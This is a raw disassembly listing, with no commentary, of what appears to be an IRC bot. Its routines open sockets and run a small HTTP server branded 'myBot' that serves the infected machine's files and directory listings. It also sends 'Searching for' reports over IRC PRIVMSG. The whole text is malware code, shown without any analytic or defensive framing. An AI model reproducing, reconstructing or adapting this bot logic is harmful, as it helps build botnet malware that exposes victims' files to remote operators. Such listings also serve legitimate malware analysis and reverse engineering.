5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 nop call near ptr 71AB1AF4h push 1 call near ptr 26705B3h nop test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2720000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 271158Ah nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26804D6h push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26F0867h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2720A09h push esi mov [ebp+var_330], eax nop call near ptr 265092Ah loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 2670659h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 26705B3h nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 2680000h push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 